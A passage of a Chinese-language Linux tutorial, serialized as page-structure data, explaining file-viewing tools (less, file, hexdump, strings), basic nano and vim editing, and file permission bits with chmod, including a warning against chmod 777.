显示行号\n",[331,77142,77143,77145,77148,77150],{"class":333,"line":341},[331,77144,76599],{"class":501},[331,77146,77147],{"class":365}," +G",[331,77149,10499],{"class":365},[331,77151,77152],{"class":1003},"        # 打开即停在底部\n",[331,77154,77155,77157,77160,77162],{"class":333,"line":357},[331,77156,76599],{"class":501},[331,77158,77159],{"class":365}," +F",[331,77161,75768],{"class":365},[331,77163,77164],{"class":1003},"     # 打开即跟踪，像 tail -f，按 Ctrl-C 回到翻页\n",[331,77166,77167,77169,77171,77173],{"class":333,"line":371},[331,77168,76599],{"class":501},[331,77170,51312],{"class":344},[331,77172,10499],{"class":365},[331,77174,77175],{"class":1003},"        # 长行不折行，用左右箭头横向滚\n",[53,77177,77179],{"id":77178},"_5-file-判断文件的真实类型","5. file —— 判断文件的真实类型",[11,77181,77182],{},[17,77183,77184],{},"示例 1：不看扩展名看文件头",[308,77186,77188],{"className":3902,"code":77187,"language":3904,"meta":314,"style":314},"file img.png app.so    # 输出如：PNG image data, 800 x 600, 8-bit\u002Fcolor RGB\n",[22,77189,77190],{"__ignoreMap":314},[331,77191,77192,77194,77197,77200],{"class":333,"line":334},[331,77193,53443],{"class":501},[331,77195,77196],{"class":365}," img.png",[331,77198,77199],{"class":365}," app.so",[331,77201,77202],{"class":1003},"    # 输出如：PNG image data, 800 x 600, 8-bit\u002Fcolor RGB\n",[11,77204,77205,77207],{},[22,77206,53443],{}," 判断的是文件头（magic number），因此「扩展名 jpg 实际是 png」这种问题只有它能发现。",[53,77209,77211],{"id":77210},"_6-odhexdumpxxdstrings-看二进制","6. od、hexdump、xxd、strings —— 看二进制",[11,77213,77214],{},[17,77215,77216],{},"示例 1：字节转储",[308,77218,77220],{"className":3902,"code":77219,"language":3904,"meta":314,"style":314},"od -c -N 64 file          # 八进制\u002F字符转储，\\n、\\0 直接可见；-N 64 只看前 64 字节\nhexdump -C -n 128 file    # 经典十六进制视图：左偏移、中 16 字节、右 ASCII\nxxd file                  # 同上；xxd -r hex.txt bin 还能把 hex 文本反向写回文件\n",[22,77221,77222,77239,77256],{"__ignoreMap":314},[331,77223,77224,77227,77229,77231,77234,77236],{"class":333,"line":334},[331,77225,77226],{"class":501},"od",[331,77228,15990],{"class":344},[331,77230,77135],{"class":344},[331,77232,77233],{"class":344}," 64",[331,77235,10499],{"class":365},[331,77237,77238],{"class":1003},"          # 八进制\u002F字符转储，\\n、\\0 直接可见；-N 64 只看前 64 字节\n",[331,77240,77241,77244,77246,77248,77251,77253],{"class":333,"line":341},[331,77242,77243],{"class":501},"hexdump",[331,77245,52017],{"class":344},[331,77247,75986],{"class":344},[331,77249,77250],{"class":344}," 128",[331,77252,10499],{"class":365},[331,77254,77255],{"class":1003},"    # 经典十六进制视图：左偏移、中 16 字节、右 ASCII\n",[331,77257,77258,77261,77263],{"class":333,"line":357},[331,77259,77260],{"class":501},"xxd",[331,77262,10499],{"class":365},[331,77264,77265],{"class":1003},"                  # 同上；xxd -r hex.txt bin 还能把 hex 文本反向写回文件\n",[11,77267,77268],{},[17,77269,77270],{},"示例 2：抽出可打印字符串",[308,77272,77274],{"className":3902,"code":77273,"language":3904,"meta":314,"style":314},"strings -n 6 app.so                        # 默认最短 4 个字符，-n 6 减少噪音\nstrings -a \u002Fusr\u002Fbin\u002Fnginx | grep -E '^https?:\u002F\u002F'   # 找嵌在二进制里的路径、报错文本、版本号\n",[22,77275,77276,77291],{"__ignoreMap":314},[331,77277,77278,77281,77283,77286,77288],{"class":333,"line":334},[331,77279,77280],{"class":501},"strings",[331,77282,75986],{"class":344},[331,77284,77285],{"class":344}," 6",[331,77287,77199],{"class":365},[331,77289,77290],{"class":1003},"                        # 默认最短 4 个字符，-n 6 减少噪音\n",[331,77292,77293,77295,77297,77300,77302,77304,77306,77309],{"class":333,"line":341},[331,77294,77280],{"class":501},[331,77296,57537],{"class":344},[331,77298,77299],{"class":365}," \u002Fusr\u002Fbin\u002Fnginx",[331,77301,15984],{"class":616},[331,77303,16363],{"class":501},[331,77305,57260],{"class":344},[331,77307,77308],{"class":365}," '^https?:\u002F\u002F'",[331,77310,77311],{"class":1003},"   # 找嵌在二进制里的路径、报错文本、版本号\n",[11,77313,77314,77315,272,77318,77321],{},"压缩包不用先解压也能看：",[22,77316,77317],{},"zcat app.log.gz",[22,77319,77320],{},"zless app.log.gz","（第九章详述）。",[53,77323,75156],{"id":77324},"踩坑提醒-2",[1773,77326,77327,77341,77351],{},[1662,77328,77329,77330,77332,77333,77335,77336,77338,77339,161],{},"看完日志不记得怎么退出 ",[22,77331,76599],{},"：按 ",[22,77334,10130],{},"。卡在任何分页程序里，第一反应都是 ",[22,77337,10130],{},"，不行再 ",[22,77340,74548],{},[1662,77342,77343,77345,77346,6745,77348,77350],{},[22,77344,57384],{}," 大文件不会「只看前几行」，它会全部刷到终端，几 GB 的日志能让终端卡几十秒——先用 ",[22,77347,76618],{},[22,77349,76615],{}," 确认体积。",[1662,77352,77353,77354,322,77357,52400,77360,77362,77363,6745,77365,76705],{},"复制出来的配置「看着一样但跑不通」，九成是行尾 ",[22,77355,77356],{},"CRLF",[22,77358,77359],{},"cat -A",[22,77361,76697],{}," 就用 ",[22,77364,76701],{},[22,77366,76704],{},[48,77368,77370],{"id":77369},"四最小编辑器集nano-与够用的-vim","四、最小编辑器集：nano 与够用的 vim",[11,77372,77373,77374,77377,77378,77381,77382,77385],{},"服务器上手第一道坎往往不是命令而是编辑器：改一行配置，进了 ",[22,77375,77376],{},"vi"," 出不来，或者不知道怎么保存。这一章只讲两个编辑器——",[22,77379,77380],{},"nano","（新手，键位写在屏幕底部）和 ",[22,77383,77384],{},"vim","（服务器上一定会遇到）——目标是「能改一行、能存盘、能退出」。",[53,77387,77389],{"id":77388},"_1-nano-键位就写在屏幕底部","1. nano —— 键位就写在屏幕底部",[11,77391,77392,77395,77396,77398,77399,77402],{},[22,77393,77394],{},"nano file"," 打开后，屏幕底部的 ",[22,77397,1170],{}," 代表 ",[22,77400,77401],{},"Ctrl","，照着按就行。",[11,77404,77405],{},[17,77406,77407],{},"示例 1：最常用的四个键",[308,77409,77411],{"className":3902,"code":77410,"language":3904,"meta":314,"style":314},"nano \u002Fetc\u002Fnginx\u002Fnginx.conf   # 打开文件\n# Ctrl-O 然后 Enter —— 保存（写入当前文件名）\n# Ctrl-X —— 退出（有改动会问是否保存）\n# Ctrl-W —— 搜索（Where Is）\n",[22,77412,77413,77422,77427,77432],{"__ignoreMap":314},[331,77414,77415,77417,77419],{"class":333,"line":334},[331,77416,77380],{"class":501},[331,77418,76635],{"class":365},[331,77420,77421],{"class":1003},"   # 打开文件\n",[331,77423,77424],{"class":333,"line":341},[331,77425,77426],{"class":1003},"# Ctrl-O 然后 Enter —— 保存（写入当前文件名）\n",[331,77428,77429],{"class":333,"line":357},[331,77430,77431],{"class":1003},"# Ctrl-X —— 退出（有改动会问是否保存）\n",[331,77433,77434],{"class":333,"line":371},[331,77435,77436],{"class":1003},"# Ctrl-W —— 搜索（Where Is）\n",[11,77438,77439],{},[17,77440,77441],{},"示例 2：带参数打开",[308,77443,77445],{"className":3902,"code":77444,"language":3904,"meta":314,"style":314},"nano +42 \u002Fetc\u002Fnginx\u002Fnginx.conf   # 打开即跳到 42 行\nnano -l file                     # 保存时自动补末尾换行\n",[22,77446,77447,77459],{"__ignoreMap":314},[331,77448,77449,77451,77454,77456],{"class":333,"line":334},[331,77450,77380],{"class":501},[331,77452,77453],{"class":365}," +42",[331,77455,76635],{"class":365},[331,77457,77458],{"class":1003},"   # 打开即跳到 42 行\n",[331,77460,77461,77463,77465,77467],{"class":333,"line":341},[331,77462,77380],{"class":501},[331,77464,43868],{"class":344},[331,77466,10499],{"class":365},[331,77468,77469],{"class":1003},"                     # 保存时自动补末尾换行\n",[11,77471,77472,77473,77476,77477,77480],{},"想永久显示行号，在 ",[22,77474,77475],{},"~\u002F.nanorc"," 写 ",[22,77478,77479],{},"set linenumbers","。完整按键表：",[57,77482,77483,77495],{},[60,77484,77485],{},[63,77486,77487,77489,77491,77493],{},[66,77488,23749],{},[66,77490,7759],{},[66,77492,23749],{},[66,77494,7759],{},[79,77496,77497,77518,77539,77563,77587,77608,77630],{},[63,77498,77499,77507,77510,77515],{},[84,77500,77501,77504,77505],{},[22,77502,77503],{},"Ctrl-O"," 然后 ",[22,77506,77006],{},[84,77508,77509],{},"写入（保存）当前文件名",[84,77511,77512],{},[22,77513,77514],{},"Ctrl-X",[84,77516,77517],{},"退出（有改动会问是否保存）",[63,77519,77520,77525,77531,77536],{},[84,77521,77522],{},[22,77523,77524],{},"Ctrl-W",[84,77526,77527,77528,5149],{},"搜索（",[22,77529,77530],{},"Where Is",[84,77532,77533],{},[22,77534,77535],{},"Alt-W",[84,77537,77538],{},"重复上一次搜索",[63,77540,77541,77549,77552,77557],{},[84,77542,77543,1901,77546],{},[22,77544,77545],{},"Ctrl-K",[22,77547,77548],{},"Ctrl-U",[84,77550,77551],{},"剪切一行 \u002F 粘贴回来",[84,77553,77554],{},[22,77555,77556],{},"Ctrl-^",[84,77558,77559,77560,5149],{},"替换（",[22,77561,77562],{},"Replace",[63,77564,77565,77573,77576,77584],{},[84,77566,77567,1901,77570],{},[22,77568,77569],{},"Ctrl-A",[22,77571,77572],{},"Ctrl-E",[84,77574,77575],{},"行首 \u002F 行尾",[84,77577,77578,1901,77581],{},[22,77579,77580],{},"Alt-A",[22,77582,77583],{},"Alt-E",[84,77585,77586],{},"设标记起点 \u002F 终点（选块）",[63,77588,77589,77597,77600,77605],{},[84,77590,77591,5652,77594,5149],{},[22,77592,77593],{},"Ctrl-Shift-6",[22,77595,77596],{},"Alt-6",[84,77598,77599],{},"复制选中块",[84,77601,77602],{},[22,77603,77604],{},"Alt-Shift-3",[84,77606,77607],{},"删除选中块",[63,77609,77610,77615,77618,77623],{},[84,77611,77612],{},[22,77613,77614],{},"Alt-\u002F",[84,77616,77617],{},"撤销",[84,77619,77620,77622],{},[22,77621,77583],{},"（重复）",[84,77624,77625,77626,77629],{},"重做（",[22,77627,77628],{},"Ctrl-6"," 旧版）",[63,77631,77632,77637,77640,77645],{},[84,77633,77634],{},[22,77635,77636],{},"Ctrl-T",[84,77638,77639],{},"打开拼写检查",[84,77641,77642],{},[22,77643,77644],{},"Ctrl-R",[84,77646,77647],{},"把另一个文件插进来",[53,77649,77651],{"id":77650},"_2-vim-先分清三种模式","2. vim —— 先分清三种模式",[11,77653,77654],{},"vim 的行为取决于当前模式，模式之间靠这几个键切换：",[57,77656,77657,77672],{},[60,77658,77659],{},[63,77660,77661,77663,77666,77669],{},[66,77662,11975],{},[66,77664,77665],{},"进入",[66,77667,77668],{},"能干什么",[66,77670,77671],{},"屏幕底部特征",[79,77673,77674,77695,77717],{},[63,77675,77676,77679,77686,77692],{},[84,77677,77678],{},"普通模式（Normal）",[84,77680,77681,77682,77685],{},"启动即在此；",[22,77683,77684],{},"Esc"," 回到",[84,77687,77688,77689,77691],{},"移动、删除、复制粘贴、",[22,77690,1180],{}," 命令",[84,77693,77694],{},"无提示",[63,77696,77697,77700,77709,77712],{},[84,77698,77699],{},"插入模式（Insert）",[84,77701,77702,268,77704,268,77706],{},[22,77703,1189],{},[22,77705,30],{},[22,77707,77708],{},"o",[84,77710,77711],{},"打字",[84,77713,77714],{},[22,77715,77716],{},"-- INSERT --",[63,77718,77719,77722,77731,77734],{},[84,77720,77721],{},"命令行模式",[84,77723,77724,77725,268,77727,268,77729],{},"普通模式按 ",[22,77726,1180],{},[22,77728,655],{},[22,77730,1177],{},[84,77732,77733],{},"存盘、退出、搜索、替换",[84,77735,77736],{},"光标跳到最底行",[11,77738,77739,77740,77742],{},"屏幕底部出现 ",[22,77741,77716],{}," 就说明你正在打字而不是在下命令——这是所有 vim 卡住的根源。",[53,77744,77746],{"id":77745},"_3-vim-够用的十二个键位","3. vim 够用的十二个键位",[11,77748,77749],{},"按「进得去、改得了、出得来」排序：",[308,77751,77753],{"className":3902,"code":77752,"language":3904,"meta":314,"style":314},"i          # 在光标前进入插入模式（开始打字）\na          # 在光标后插入\no          # 在下方开一个新行并插入（加新配置行必备）\nEsc        # 回到普通模式——打完字的第一件事\n:w         # 保存（write）\n:q         # 退出（有未保存改动会拒绝）\n:q!        # 强制退出并丢弃改动——「怎么退出 vim」的正确答案\n:wq        # 保存并退出（也可以按 ZZ）\nx          # 普通模式下删除光标处一个字符\ndd         # 剪切一行（复制用 yy，粘贴用 p）\nu          # 撤销（重做 Ctrl-R）\n\u002F关键词    # 向下搜索，按 n 跳下一个（? 向上）\ngg         # 跳到文件第一行（G 跳最后一行）\n",[22,77754,77755,77762,77769,77776,77783,77791,77799,77807,77815,77822,77829,77836,77843],{"__ignoreMap":314},[331,77756,77757,77759],{"class":333,"line":334},[331,77758,1189],{"class":501},[331,77760,77761],{"class":1003},"          # 在光标前进入插入模式（开始打字）\n",[331,77763,77764,77766],{"class":333,"line":341},[331,77765,30],{"class":501},[331,77767,77768],{"class":1003},"          # 在光标后插入\n",[331,77770,77771,77773],{"class":333,"line":357},[331,77772,77708],{"class":501},[331,77774,77775],{"class":1003},"          # 在下方开一个新行并插入（加新配置行必备）\n",[331,77777,77778,77780],{"class":333,"line":371},[331,77779,77684],{"class":501},[331,77781,77782],{"class":1003},"        # 回到普通模式——打完字的第一件事\n",[331,77784,77785,77788],{"class":333,"line":384},[331,77786,77787],{"class":501},":w",[331,77789,77790],{"class":1003},"         # 保存（write）\n",[331,77792,77793,77796],{"class":333,"line":397},[331,77794,77795],{"class":501},":q",[331,77797,77798],{"class":1003},"         # 退出（有未保存改动会拒绝）\n",[331,77800,77801,77804],{"class":333,"line":418},[331,77802,77803],{"class":501},":q!",[331,77805,77806],{"class":1003},"        # 强制退出并丢弃改动——「怎么退出 vim」的正确答案\n",[331,77808,77809,77812],{"class":333,"line":427},[331,77810,77811],{"class":501},":wq",[331,77813,77814],{"class":1003},"        # 保存并退出（也可以按 ZZ）\n",[331,77816,77817,77819],{"class":333,"line":439},[331,77818,21547],{"class":501},[331,77820,77821],{"class":1003},"          # 普通模式下删除光标处一个字符\n",[331,77823,77824,77826],{"class":333,"line":450},[331,77825,27365],{"class":501},[331,77827,77828],{"class":1003},"         # 剪切一行（复制用 yy，粘贴用 p）\n",[331,77830,77831,77833],{"class":333,"line":456},[331,77832,12374],{"class":501},[331,77834,77835],{"class":1003},"          # 撤销（重做 Ctrl-R）\n",[331,77837,77838,77840],{"class":333,"line":775},[331,77839,74625],{"class":501},[331,77841,77842],{"class":1003},"    # 向下搜索，按 n 跳下一个（? 向上）\n",[331,77844,77845,77848],{"class":333,"line":785},[331,77846,77847],{"class":501},"gg",[331,77849,77850],{"class":1003},"         # 跳到文件第一行（G 跳最后一行）\n",[53,77852,77854],{"id":77853},"_4-进阶但极常用的四个改配置真的会用到","4. 进阶但极常用的四个（改配置真的会用到）",[308,77856,77858],{"className":3902,"code":77857,"language":3904,"meta":314,"style":314},":%s\u002Fold\u002Fnew\u002Fg      # 全文替换；加 c 变 :%s\u002Fold\u002Fnew\u002Fgc 逐个确认\n:10,20s\u002F^\u002F# \u002F      # 只在 10–20 行行首加注释（范围替换）\n:30                # 跳到 30 行；:10,30d 删除 10–30 行\nv                  # 可视模式（Ctrl-V 是列块模式，批量给多行加前缀）\n",[22,77859,77860,77870,77880,77888],{"__ignoreMap":314},[331,77861,77862,77864,77867],{"class":333,"line":334},[331,77863,1180],{"class":344},[331,77865,77866],{"class":365},"%s\u002Fold\u002Fnew\u002Fg",[331,77868,77869],{"class":1003},"      # 全文替换；加 c 变 :%s\u002Fold\u002Fnew\u002Fgc 逐个确认\n",[331,77871,77872,77875,77877],{"class":333,"line":341},[331,77873,77874],{"class":501},":10,20s\u002F^\u002F#",[331,77876,6544],{"class":365},[331,77878,77879],{"class":1003},"      # 只在 10–20 行行首加注释（范围替换）\n",[331,77881,77882,77885],{"class":333,"line":357},[331,77883,77884],{"class":501},":30",[331,77886,77887],{"class":1003},"                # 跳到 30 行；:10,30d 删除 10–30 行\n",[331,77889,77890,77892],{"class":333,"line":371},[331,77891,14033],{"class":501},[331,77893,77894],{"class":1003},"                  # 可视模式（Ctrl-V 是列块模式，批量给多行加前缀）\n",[53,77896,77898],{"id":77897},"_5-怎么退出-vim这个梗的正确解法","5. 「怎么退出 vim」——这个梗的正确解法",[11,77900,77901,77902,77904,77905,15358,77907,268,77909,268,77911,77913],{},"网上「如何从 vim 退出」的笑话，真实成因是：用户按了 ",[22,77903,1189],{}," 进入插入模式，改完直接敲 ",[22,77906,77803],{},[22,77908,1180],{},[22,77910,10130],{},[22,77912,1150],{}," 被当成普通文本写进了文件。解法固定三步：",[1659,77915,77916,77922,77933],{},[1662,77917,77918,77919,77921],{},"连按 ",[22,77920,77684],{}," 两三次（保证回到普通模式）；",[1662,77923,77924,77925,77504,77927,77929,77930,77932],{},"输入 ",[22,77926,77803],{},[22,77928,77006],{},"（不想保留改动）或 ",[22,77931,77811],{},"（保留）；",[1662,77934,77935,77936,655,77939,77942,77943,77945,77946,161],{},"如果底部显示 ",[22,77937,77938],{},"E37",[22,77940,77941],{},"E1734"," 之类的报错，说明还有未保存内容或输入被当命令解析，先 ",[22,77944,12374],{}," 撤销刚才误打的字符再 ",[22,77947,77803],{},[53,77949,77951],{"id":77950},"_6-只有-vi-时的应急改行","6. 只有 vi 时的应急改行",[11,77953,77954,77955,77957,77958,77960,77961,77964],{},"精简镜像里 ",[22,77956,77384],{}," 可能不存在（只有硬链接的 ",[22,77959,77376],{},"，且是 ",[22,77962,77963],{},"vi-compatible"," 模式），改一行配置有两种不动编辑器的办法：",[308,77966,77968],{"className":3902,"code":77967,"language":3904,"meta":314,"style":314},"sed -i.bak 's\u002F^# *listen_port.*\u002Flisten_port 9080;\u002F' \u002Fetc\u002Fapp\u002Fapp.conf\n# -i.bak 原地修改并先留 .bak 备份；s 命令末尾的分号是给 nginx 的语法，别多别少\n\nprintf '%s\\n' 'user deploy;' 'worker_processes auto;' > \u002Fetc\u002Fapp\u002Fapp.conf.new\n# 小配置文件可以直接重建\n",[22,77969,77970,77983,77988,77992,78010],{"__ignoreMap":314},[331,77971,77972,77974,77977,77980],{"class":333,"line":334},[331,77973,75045],{"class":501},[331,77975,77976],{"class":344}," -i.bak",[331,77978,77979],{"class":365}," 's\u002F^# *listen_port.*\u002Flisten_port 9080;\u002F'",[331,77981,77982],{"class":365}," \u002Fetc\u002Fapp\u002Fapp.conf\n",[331,77984,77985],{"class":333,"line":341},[331,77986,77987],{"class":1003},"# -i.bak 原地修改并先留 .bak 备份；s 命令末尾的分号是给 nginx 的语法，别多别少\n",[331,77989,77990],{"class":333,"line":357},[331,77991,998],{"emptyLinePlaceholder":997},[331,77993,77994,77996,77999,78002,78005,78007],{"class":333,"line":371},[331,77995,48991],{"class":344},[331,77997,77998],{"class":365}," '%s\\n'",[331,78000,78001],{"class":365}," 'user deploy;'",[331,78003,78004],{"class":365}," 'worker_processes auto;'",[331,78006,56464],{"class":616},[331,78008,78009],{"class":365}," \u002Fetc\u002Fapp\u002Fapp.conf.new\n",[331,78011,78012],{"class":333,"line":384},[331,78013,78014],{"class":1003},"# 小配置文件可以直接重建\n",[11,78016,78017,78018,78021,78022,78024,78025,272,78027,272,78029,78031],{},"改完先验语法再重载：",[22,78019,78020],{},"nginx -t && systemctl reload nginx","。真要用 ",[22,78023,77376],{}," 应急，键位与 vim 完全一致（",[22,78026,1189],{},[22,78028,77684],{},[22,78030,77811],{},"），只是缺多级撤销和语法高亮。",[53,78033,75156],{"id":78034},"踩坑提醒-3",[1773,78036,78037,78053,78070,78081],{},[1662,78038,78039,28590,78041,78044,78045,78048,78049,78052],{},[22,78040,77787],{},[22,78042,78043],{},"E45: 'readonly' option is set","：文件不可写。别退出去 ",[22,78046,78047],{},"sudo vim"," 重来，直接 ",[22,78050,78051],{},":w !sudo tee %"," 就能以 root 写回当前缓冲。",[1662,78054,78055,78057,78058,78060,78061,78063,78064,78067,78068,161],{},[22,78056,77795],{}," 拒绝退出报 ",[22,78059,77938],{},"，别急着 ",[22,78062,77803],{}," 丢掉半小时改动，先 ",[22,78065,78066],{},":w!","；确实不要了再 ",[22,78069,77803],{},[1662,78071,78072,78073,78075,78076,78078,78079,161],{},"vim 保存后文件属主变成 root（用 ",[22,78074,78047],{}," 改的），导致应用写不了日志——要么 ",[22,78077,47951],{}," 回去，要么改用 ",[22,78080,78051],{},[1662,78082,78083,78084,78087,78088,78091],{},"编辑器里「粘贴的代码乱七八糟缩进」：vim 需要 ",[22,78085,78086],{},":set paste","（或新版 ",[22,78089,78090],{},":set pastetoggle=\u003CF3>","），否则会自动缩进把每行叠歪。",[48,78093,78095],{"id":78094},"五权限与属主chmodchownsudo","五、权限与属主：chmod、chown、sudo",[11,78097,78098,78101,78102,78104],{},[22,78099,78100],{},"Permission denied"," 是 Linux 里出现频率最高的错误，而它的成因至少有六种：文件权限、目录缺 ",[22,78103,21547],{},"、属主不对、SELinux、capabilities、进程用的不是你以为的用户。这一章先把「读权限位」练熟，再给一套安全的修改顺序。",[4748,78106],{"height":14062,"src":78107,"title":78108},"\u002Ftutorials\u002Flinux\u002Fdemos\u002F05-permissions.html","示例 05：读懂权限位、chmod 两套写法与 Permission denied 排查",[53,78110,78112],{"id":78111},"_1-先学会读权限位","1. 先学会读权限位",[57,78114,78115,78128],{},[60,78116,78117],{},[63,78118,78119,78122,78125],{},[66,78120,78121],{},"字符位",[66,78123,78124],{},"对文件",[66,78126,78127],{},"对目录",[79,78129,78130,78151,78168],{},[63,78131,78132,78136,78141],{},[84,78133,78134],{},[22,78135,66333],{},[84,78137,78138,78139,5149],{},"能读内容（",[22,78140,57384],{},[84,78142,78143,78144,78147,78148,78150],{},"能",[17,78145,78146],{},"列出","名字（",[22,78149,16007],{}," 目录本身）",[63,78152,78153,78158,78161],{},[84,78154,78155],{},[22,78156,78157],{},"w",[84,78159,78160],{},"能改内容（写同一文件）",[84,78162,78163,78164,78167],{},"能在里面",[17,78165,78166],{},"创建\u002F删除","文件（真正的删除权看目录，不看文件！）",[63,78169,78170,78174,78180],{},[84,78171,78172],{},[22,78173,21547],{},[84,78175,78176,78177,78179],{},"能执行（配合 ",[22,78178,66333],{}," 才能跑脚本）",[84,78181,78143,78182,4839,78184,78186],{},[17,78183,77665],{},[22,78185,3936],{},"）并访问其中的已知文件名",[11,78188,78189,78190,161,78196,78199,78200,78202,78203,28590,78206,78208,78209,36222,78212,78214,78215,78217,78218,78221,78222,78225,78226,78229],{},"关键结论：",[17,78191,78192,78193,78195],{},"目录的 ",[22,78194,21547],{}," 比文件本身的权限更决定性",[22,78197,78198],{},"chmod 644 app.sh"," 之后脚本不能跑是缺文件 ",[22,78201,21547],{},"；而 ",[22,78204,78205],{},".\u002Fapp.sh",[22,78207,78100],{}," 有时是它的",[17,78210,78211],{},"父目录",[22,78213,21547],{},"——没有 ",[22,78216,21547],{}," 就无法解析路径，哪怕文件是 777。典型事故：家目录 ",[22,78219,78220],{},"chmod 700 ~"," 之后，别人 ",[22,78223,78224],{},"cat \u002Fhome\u002Fdeploy\u002Fx.txt"," 必失败，即使 ",[22,78227,78228],{},"x.txt"," 是 644。",[11,78231,78232,78233,272,78236,272,78239,78242],{},"数字法：",[22,78234,78235],{},"r=4",[22,78237,78238],{},"w=2",[22,78240,78241],{},"x=1","，每组三位相加：",[57,78244,78245,78256],{},[60,78246,78247],{},[63,78248,78249,78251,78253],{},[66,78250,57757],{},[66,78252,49671],{},[66,78254,78255],{},"常见用途",[79,78257,78258,78273,78288,78302,78320,78335,78350],{},[63,78259,78260,78265,78270],{},[84,78261,78262],{},[22,78263,78264],{},"644",[84,78266,78267],{},[22,78268,78269],{},"rw-r--r--",[84,78271,78272],{},"普通文件默认（配置、图片、代码）",[63,78274,78275,78280,78285],{},[84,78276,78277],{},[22,78278,78279],{},"755",[84,78281,78282],{},[22,78283,78284],{},"rwxr-xr-x",[84,78286,78287],{},"可执行文件、脚本、目录默认",[63,78289,78290,78294,78299],{},[84,78291,78292],{},[22,78293,72571],{},[84,78295,78296],{},[22,78297,78298],{},"rw-------",[84,78300,78301],{},"私钥、含密码的配置",[63,78303,78304,78309,78314],{},[84,78305,78306],{},[22,78307,78308],{},"700",[84,78310,78311],{},[22,78312,78313],{},"rwx------",[84,78315,78316,78319],{},[22,78317,78318],{},".ssh"," 目录、只给自己看的目录",[63,78321,78322,78327,78332],{},[84,78323,78324],{},[22,78325,78326],{},"664",[84,78328,78329],{},[22,78330,78331],{},"rw-rw-r--",[84,78333,78334],{},"团队协作目录里的文件（配合组权限）",[63,78336,78337,78342,78347],{},[84,78338,78339],{},[22,78340,78341],{},"775",[84,78343,78344],{},[22,78345,78346],{},"rwxrwxr-x",[84,78348,78349],{},"组内共享的目录",[63,78351,78352,78357,78362],{},[84,78353,78354],{},[22,78355,78356],{},"777",[84,78358,78359],{},[22,78360,78361],{},"rwxrwxrwx",[84,78363,78364,78367],{},[17,78365,78366],{},"不要用","，见下",[53,78369,78371],{"id":78370},"_2-chmod-修改权限","2. chmod —— 修改权限",[11,78373,78374],{},[17,78375,78376],{},"示例 1：数字法（整套设置）",[308,78378,78380],{"className":3902,"code":78379,"language":3904,"meta":314,"style":314},"chmod 644 app.conf     # 属主可读写，属组和其他人只读\nchmod 755 deploy.sh    # 属主可执行，其他人可读可执行\n",[22,78381,78382,78396],{"__ignoreMap":314},[331,78383,78384,78387,78390,78393],{"class":333,"line":334},[331,78385,78386],{"class":501},"chmod",[331,78388,78389],{"class":344}," 644",[331,78391,78392],{"class":365}," app.conf",[331,78394,78395],{"class":1003},"     # 属主可读写，属组和其他人只读\n",[331,78397,78398,78400,78403,78406],{"class":333,"line":341},[331,78399,78386],{"class":501},[331,78401,78402],{"class":344}," 755",[331,78404,78405],{"class":365}," deploy.sh",[331,78407,78408],{"class":1003},"    # 属主可执行，其他人可读可执行\n",[11,78410,78411],{},[17,78412,78413],{},"示例 2：符号法（改单个位，安全且不牵连其他位，推荐）",[308,78415,78417],{"className":3902,"code":78416,"language":3904,"meta":314,"style":314},"chmod u+x deploy.sh       # u=属主 +执行位\nchmod g+w app.sh          # g=属组 加写权限\nchmod o-rwx private.conf  # o=其他人 去掉全部权限；a=全部人\nchmod -R a+rX \u002Fsrv\u002Fapp    # 大写 X：只给目录或已是可执行文件加 x —— 修目录树的最佳写法\n",[22,78418,78419,78431,78444,78457],{"__ignoreMap":314},[331,78420,78421,78423,78426,78428],{"class":333,"line":334},[331,78422,78386],{"class":501},[331,78424,78425],{"class":365}," u+x",[331,78427,78405],{"class":365},[331,78429,78430],{"class":1003},"       # u=属主 +执行位\n",[331,78432,78433,78435,78438,78441],{"class":333,"line":341},[331,78434,78386],{"class":501},[331,78436,78437],{"class":365}," g+w",[331,78439,78440],{"class":365}," app.sh",[331,78442,78443],{"class":1003},"          # g=属组 加写权限\n",[331,78445,78446,78448,78451,78454],{"class":333,"line":357},[331,78447,78386],{"class":501},[331,78449,78450],{"class":365}," o-rwx",[331,78452,78453],{"class":365}," private.conf",[331,78455,78456],{"class":1003},"  # o=其他人 去掉全部权限；a=全部人\n",[331,78458,78459,78461,78464,78467,78469],{"class":333,"line":371},[331,78460,78386],{"class":501},[331,78462,78463],{"class":344}," -R",[331,78465,78466],{"class":365}," a+rX",[331,78468,75236],{"class":365},[331,78470,78471],{"class":1003},"    # 大写 X：只给目录或已是可执行文件加 x —— 修目录树的最佳写法\n",[11,78473,78474,78477,78478,78481],{},[22,78475,78476],{},"chmod -R a+rX \u002Fsrv\u002Fapp"," 是「让所有人能读，但只给目录和已有的可执行文件加执行位」的标准解法；写成 ",[22,78479,78480],{},"chmod -R 777"," 会把配置文件也变可执行，还会打开目录写权限。",[11,78483,78484],{},[17,78485,78486],{},"示例 3：特殊位",[308,78488,78490],{"className":3902,"code":78489,"language":3904,"meta":314,"style":314},"chmod u+s helper    # setuid：执行时以文件属主（root）身份，如 passwd\nchmod g+s dir       # setgid：目录里新建文件继承目录的组，团队共享目录用\nchmod o+t dir       # sticky：目录里只有属主能删自己文件，如 \u002Ftmp\n",[22,78491,78492,78505,78518],{"__ignoreMap":314},[331,78493,78494,78496,78499,78502],{"class":333,"line":334},[331,78495,78386],{"class":501},[331,78497,78498],{"class":365}," u+s",[331,78500,78501],{"class":365}," helper",[331,78503,78504],{"class":1003},"    # setuid：执行时以文件属主（root）身份，如 passwd\n",[331,78506,78507,78509,78512,78515],{"class":333,"line":341},[331,78508,78386],{"class":501},[331,78510,78511],{"class":365}," g+s",[331,78513,78514],{"class":365}," dir",[331,78516,78517],{"class":1003},"       # setgid：目录里新建文件继承目录的组，团队共享目录用\n",[331,78519,78520,78522,78525,78527],{"class":333,"line":357},[331,78521,78386],{"class":501},[331,78523,78524],{"class":365}," o+t",[331,78526,78514],{"class":365},[331,78528,78529],{"class":1003},"       # sticky：目录里只有属主能删自己文件，如 \u002Ftmp\n",[11,78531,78532,78538,78539,78542,78543,5652,78546,655,78548,78550,78551,78554],{},[17,78533,78534,78537],{},[22,78535,78536],{},"chmod 777"," 的真实风险","：任何本地用户都能改你的代码和脚本（配合 cron 或 web 目录可直接提权），多数服务（sshd、nginx）还会因为权限过宽拒绝启动。正确替代顺序：先 ",[22,78540,78541],{},"chown -R appuser:appgroup"," 找对属主，再 ",[22,78544,78545],{},"chmod -R a+rX",[22,78547,78279],{},[22,78549,78341],{},"）给最小权限。setuid 文件如果被写权限打开，等于本机任何用户能拿到 root，排查：",[22,78552,78553],{},"find \u002F -xdev -perm -4000 -type f 2>\u002Fdev\u002Fnull","（顺便看看有没有不认识的）。",[53,78556,78558],{"id":78557},"_3-chown-与-chgrp-修改属主属组","3. chown 与 